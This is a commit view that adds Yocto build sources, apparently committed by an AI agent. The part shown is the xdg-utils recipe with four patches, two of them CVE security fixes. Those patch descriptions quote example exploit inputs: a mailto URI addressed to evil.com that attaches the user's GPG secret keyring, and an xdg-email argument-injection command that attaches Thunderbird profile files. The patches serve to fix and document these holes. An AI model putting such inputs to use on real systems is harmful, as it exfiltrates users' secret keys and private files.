Complete Yocto mirror with license table for TQMa6UL (2038-compliance)
- 264 license table entries with exact download URLs (224/264 resolved) - Complete sources/ directory with all BitBake recipes - Build configuration: tqma6ul-multi-mba6ulx, spaetzle (musl) - Full traceability for Softwarefreigabeantrag - GCC 13.4.0, Linux 6.6.102, U-Boot 2023.04, musl 1.2.4 - License distribution: GPL-2.0 (24), MIT (23), GPL-2.0+ (18), BSD-3 (16)
This commit is contained in:
Siggi (OpenClaw Agent)
@@ -0,0 +1,30 @@
|
||||
From 33f42aa8d190b40be18cd0541b5881d46978b572 Mon Sep 17 00:00:00 2001
|
||||
From: Jussi Kukkonen <jussi.kukkonen@intel.com>
|
||||
Date: Thu, 17 Dec 2015 11:50:05 +0200
|
||||
Subject: [PATCH] Don't build the in-script manual
|
||||
|
||||
Building the contents for "--manual" option requires a web browser
|
||||
or java (these are the two options for "xmlto txt" support).
|
||||
That's bonkers so don't do it: the man pages are still available
|
||||
and contain the same info.
|
||||
|
||||
Upstream-Status: Inappropriate [disables in-script docs]
|
||||
Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
|
||||
---
|
||||
scripts/Makefile.in | 2 +-
|
||||
1 file changed, 1 insertion(+), 1 deletion(-)
|
||||
|
||||
diff --git a/scripts/Makefile.in b/scripts/Makefile.in
|
||||
index 430032d..85359bc 100644
|
||||
--- a/scripts/Makefile.in
|
||||
+++ b/scripts/Makefile.in
|
||||
@@ -112,5 +112,5 @@ html/%.html: desc/%.xml
|
||||
(cd html;$(XMLTO) html-nochunks ../$<)
|
||||
|
||||
%.txt: desc/%.xml
|
||||
- $(XMLTO) txt $<
|
||||
+ echo "Please see the man pages." > $@
|
||||
|
||||
--
|
||||
2.1.4
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
From 37e227ae1766568d8de55e268bb69bc15eee3529 Mon Sep 17 00:00:00 2001
|
||||
From: Jussi Kukkonen <jussi.kukkonen@intel.com>
|
||||
Date: Thu, 26 Nov 2015 16:01:47 +0200
|
||||
Subject: [PATCH] Enable xdg-terminal
|
||||
|
||||
Upstream-Status: Inappropriate [configuration]
|
||||
|
||||
Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
|
||||
---
|
||||
scripts/Makefile.in | 3 ++-
|
||||
1 file changed, 2 insertions(+), 1 deletion(-)
|
||||
|
||||
diff --git a/scripts/Makefile.in b/scripts/Makefile.in
|
||||
index d167393..430032d 100644
|
||||
--- a/scripts/Makefile.in
|
||||
+++ b/scripts/Makefile.in
|
||||
@@ -20,7 +20,8 @@ SCRIPTS = \
|
||||
xdg-open \
|
||||
xdg-email \
|
||||
xdg-screensaver \
|
||||
- xdg-settings
|
||||
+ xdg-settings \
|
||||
+ xdg-terminal
|
||||
# xdg-su
|
||||
# xdg-copy \
|
||||
# xdg-file-dialog
|
||||
--
|
||||
2.1.4
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
From 1f199813e0eb0246f63b54e9e154970e609575af Mon Sep 17 00:00:00 2001
|
||||
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
|
||||
Date: Tue, 18 Aug 2020 16:52:24 +0100
|
||||
Subject: [PATCH] xdg-email: remove attachment handling from mailto
|
||||
MIME-Version: 1.0
|
||||
Content-Type: text/plain; charset=UTF-8
|
||||
Content-Transfer-Encoding: 8bit
|
||||
|
||||
This allows attacker to extract secrets from users:
|
||||
|
||||
mailto:sid@evil.com?attach=/.gnupg/secring.gpg
|
||||
|
||||
See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425
|
||||
and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177
|
||||
|
||||
Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
|
||||
---
|
||||
scripts/xdg-email.in | 7 +------
|
||||
1 file changed, 1 insertion(+), 6 deletions(-)
|
||||
|
||||
Upstream-Status: Backport
|
||||
CVE: CVE-2020-27748
|
||||
|
||||
diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in
|
||||
index 6db58ad..5d2f4f3 100644
|
||||
--- a/scripts/xdg-email.in
|
||||
+++ b/scripts/xdg-email.in
|
||||
@@ -32,7 +32,7 @@ _USAGE
|
||||
|
||||
run_thunderbird()
|
||||
{
|
||||
- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH
|
||||
+ local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
|
||||
THUNDERBIRD="$1"
|
||||
MAILTO=$(echo "$2" | sed 's/^mailto://')
|
||||
echo "$MAILTO" | grep -qs "^?"
|
||||
@@ -48,7 +48,6 @@ run_thunderbird()
|
||||
BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
|
||||
SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
|
||||
BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
|
||||
- ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//'))
|
||||
|
||||
if [ -z "$TO" ] ; then
|
||||
NEWMAILTO=
|
||||
@@ -68,10 +67,6 @@ run_thunderbird()
|
||||
NEWMAILTO="${NEWMAILTO},$BODY"
|
||||
fi
|
||||
|
||||
- if [ -n "$ATTACH" ] ; then
|
||||
- NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'"
|
||||
- fi
|
||||
-
|
||||
NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
|
||||
DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
|
||||
"$THUNDERBIRD" -compose "$NEWMAILTO"
|
||||
--
|
||||
GitLab
|
||||
|
||||
@@ -0,0 +1,145 @@
|
||||
xdg-email does not parse mailto uris properly for thunderbird
|
||||
|
||||
When using thunderbird as mailto handler xdg-email translates mailto uris into an 'thunderbird -compose' argument. While to, cc and bcc values are properly enclosed in single quotes this is not the case for subject or body. This breaks functionality and allows to use all thunderbird -compose arguments within a mailto uri, e.g.
|
||||
|
||||
xdg-email 'mailto:test@example.com?subject=Test,attachment=~/.thunderbird/profiles.ini,message=/home/test/test.txt'
|
||||
|
||||
translates into
|
||||
|
||||
thunderbird -compose to='test@example.com,',subject=Test,attachment=~/.thunderbird/profiles.ini,message=/home/test/test.txt
|
||||
|
||||
with working attachment and message. (And, yes, ~ expands to the home directory.)
|
||||
|
||||
Upstream-Status: Submitted [https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/205]
|
||||
|
||||
Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
|
||||
|
||||
CVE: CVE-2022-4055
|
||||
|
||||
|
||||
Index: xdg-utils-1.1.3/scripts/xdg-email.in
|
||||
===================================================================
|
||||
--- xdg-utils-1.1.3.orig/scripts/xdg-email.in
|
||||
+++ xdg-utils-1.1.3/scripts/xdg-email.in
|
||||
@@ -30,53 +30,6 @@ _USAGE
|
||||
|
||||
#@xdg-utils-common@
|
||||
|
||||
-run_thunderbird()
|
||||
-{
|
||||
- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
|
||||
- THUNDERBIRD="$1"
|
||||
- MAILTO=$(echo "$2" | sed 's/^mailto://')
|
||||
- echo "$MAILTO" | grep -qs "^?"
|
||||
- if [ "$?" = "0" ] ; then
|
||||
- MAILTO=$(echo "$MAILTO" | sed 's/^?//')
|
||||
- else
|
||||
- MAILTO=$(echo "$MAILTO" | sed 's/^/to=/' | sed 's/?/\&/')
|
||||
- fi
|
||||
-
|
||||
- MAILTO=$(echo "$MAILTO" | sed 's/&/\n/g')
|
||||
- TO=$(/bin/echo -e $(echo "$MAILTO" | grep '^to=' | sed 's/^to=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
|
||||
- CC=$(/bin/echo -e $(echo "$MAILTO" | grep '^cc=' | sed 's/^cc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
|
||||
- BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
|
||||
- SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
|
||||
- BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
|
||||
-
|
||||
- if [ -z "$TO" ] ; then
|
||||
- NEWMAILTO=
|
||||
- else
|
||||
- NEWMAILTO="to='$TO'"
|
||||
- fi
|
||||
- if [ -n "$CC" ] ; then
|
||||
- NEWMAILTO="${NEWMAILTO},cc='$CC'"
|
||||
- fi
|
||||
- if [ -n "$BCC" ] ; then
|
||||
- NEWMAILTO="${NEWMAILTO},bcc='$BCC'"
|
||||
- fi
|
||||
- if [ -n "$SUBJECT" ] ; then
|
||||
- NEWMAILTO="${NEWMAILTO},$SUBJECT"
|
||||
- fi
|
||||
- if [ -n "$BODY" ] ; then
|
||||
- NEWMAILTO="${NEWMAILTO},$BODY"
|
||||
- fi
|
||||
-
|
||||
- NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
|
||||
- DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
|
||||
- "$THUNDERBIRD" -compose "$NEWMAILTO"
|
||||
- if [ $? -eq 0 ]; then
|
||||
- exit_success
|
||||
- else
|
||||
- exit_failure_operation_failed
|
||||
- fi
|
||||
-}
|
||||
-
|
||||
open_kde()
|
||||
{
|
||||
if [ -n "$KDE_SESSION_VERSION" ] && [ "$KDE_SESSION_VERSION" -ge 5 ]; then
|
||||
@@ -130,15 +83,6 @@ open_kde()
|
||||
|
||||
open_gnome3()
|
||||
{
|
||||
- local client
|
||||
- local desktop
|
||||
- desktop=`xdg-mime query default "x-scheme-handler/mailto"`
|
||||
- client=`desktop_file_to_binary "$desktop"`
|
||||
- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
|
||||
- if [ $? -eq 0 ] ; then
|
||||
- run_thunderbird "$client" "$1"
|
||||
- fi
|
||||
-
|
||||
if gio help open 2>/dev/null 1>&2; then
|
||||
DEBUG 1 "Running gio open \"$1\""
|
||||
gio open "$1"
|
||||
@@ -159,13 +103,6 @@ open_gnome3()
|
||||
|
||||
open_gnome()
|
||||
{
|
||||
- local client
|
||||
- client=`gconftool-2 --get /desktop/gnome/url-handlers/mailto/command | cut -d ' ' -f 1` || ""
|
||||
- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
|
||||
- if [ $? -eq 0 ] ; then
|
||||
- run_thunderbird "$client" "$1"
|
||||
- fi
|
||||
-
|
||||
if gio help open 2>/dev/null 1>&2; then
|
||||
DEBUG 1 "Running gio open \"$1\""
|
||||
gio open "$1"
|
||||
@@ -231,15 +168,6 @@ open_flatpak()
|
||||
|
||||
open_generic()
|
||||
{
|
||||
- local client
|
||||
- local desktop
|
||||
- desktop=`xdg-mime query default "x-scheme-handler/mailto"`
|
||||
- client=`desktop_file_to_binary "$desktop"`
|
||||
- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
|
||||
- if [ $? -eq 0 ] ; then
|
||||
- run_thunderbird "$client" "$1"
|
||||
- fi
|
||||
-
|
||||
xdg-open "$1"
|
||||
local ret=$?
|
||||
|
||||
@@ -364,21 +292,6 @@ while [ $# -gt 0 ] ; do
|
||||
shift
|
||||
;;
|
||||
|
||||
- --attach)
|
||||
- if [ -z "$1" ] ; then
|
||||
- exit_failure_syntax "file argument missing for --attach option"
|
||||
- fi
|
||||
- check_input_file "$1"
|
||||
- file=`readlink -f "$1"` # Normalize path
|
||||
- if [ -z "$file" ] || [ ! -f "$file" ] ; then
|
||||
- exit_failure_file_missing "file '$1' does not exist"
|
||||
- fi
|
||||
-
|
||||
- url_encode "$file"
|
||||
- options="${options}attach=${result}&"
|
||||
- shift
|
||||
- ;;
|
||||
-
|
||||
-*)
|
||||
exit_failure_syntax "unexpected option '$parm'"
|
||||
;;
|
||||
@@ -0,0 +1,39 @@
|
||||
SUMMARY = "Basic desktop integration functions"
|
||||
HOMEPAGE = "https://www.freedesktop.org/wiki/Software/xdg-utils/"
|
||||
DESCRIPTION = "The xdg-utils package is a set of simple scripts that provide basic \
|
||||
desktop integration functions for any Free Desktop, such as Linux. \
|
||||
They are intended to provide a set of defacto standards. \
|
||||
The following scripts are provided at this time: \
|
||||
xdg-desktop-icon \
|
||||
xdg-desktop-menu \
|
||||
xdg-email \
|
||||
xdg-icon-resource \
|
||||
xdg-mime \
|
||||
xdg-open \
|
||||
xdg-screensaver \
|
||||
xdg-terminal \
|
||||
"
|
||||
|
||||
LICENSE = "MIT"
|
||||
LIC_FILES_CHKSUM = "file://LICENSE;md5=a5367a90934098d6b05af3b746405014"
|
||||
|
||||
SRC_URI = "https://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \
|
||||
file://0001-Reinstate-xdg-terminal.patch \
|
||||
file://0001-Don-t-build-the-in-script-manual.patch \
|
||||
file://1f199813e0eb0246f63b54e9e154970e609575af.patch \
|
||||
file://CVE-2022-4055.patch \
|
||||
"
|
||||
|
||||
SRC_URI[md5sum] = "902042508b626027a3709d105f0b63ff"
|
||||
SRC_URI[sha256sum] = "d798b08af8a8e2063ddde6c9fa3398ca81484f27dec642c5627ffcaa0d4051d9"
|
||||
|
||||
UPSTREAM_CHECK_REGEX = "xdg-utils-(?P<pver>((\d+[\.\-_]*)+)((rc|alpha|beta)\d+)?)\.(tar\.gz|tgz)"
|
||||
|
||||
# Needs brokensep as this doesn't use automake
|
||||
inherit autotools-brokensep features_check
|
||||
|
||||
# The xprop requires x11 in DISTRO_FEATURES
|
||||
REQUIRED_DISTRO_FEATURES = "x11"
|
||||
|
||||
DEPENDS = "xmlto-native libxslt-native"
|
||||
RDEPENDS:${PN} += "xprop"
|
||||
Reference in New Issue
Block a user